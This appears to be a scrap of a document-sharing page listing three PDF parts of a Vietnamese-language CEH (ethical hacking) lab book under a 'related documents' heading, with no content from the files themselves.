  • pdfCEH_Lab_book_tieng_Viet_phan1.pdf
  • pdfCEH_Lab_book_tieng_Viet_phan2.pdf
  • pdfCEH_Lab_book_tieng_Viet_phan3.pdf
Tài liệu liên quan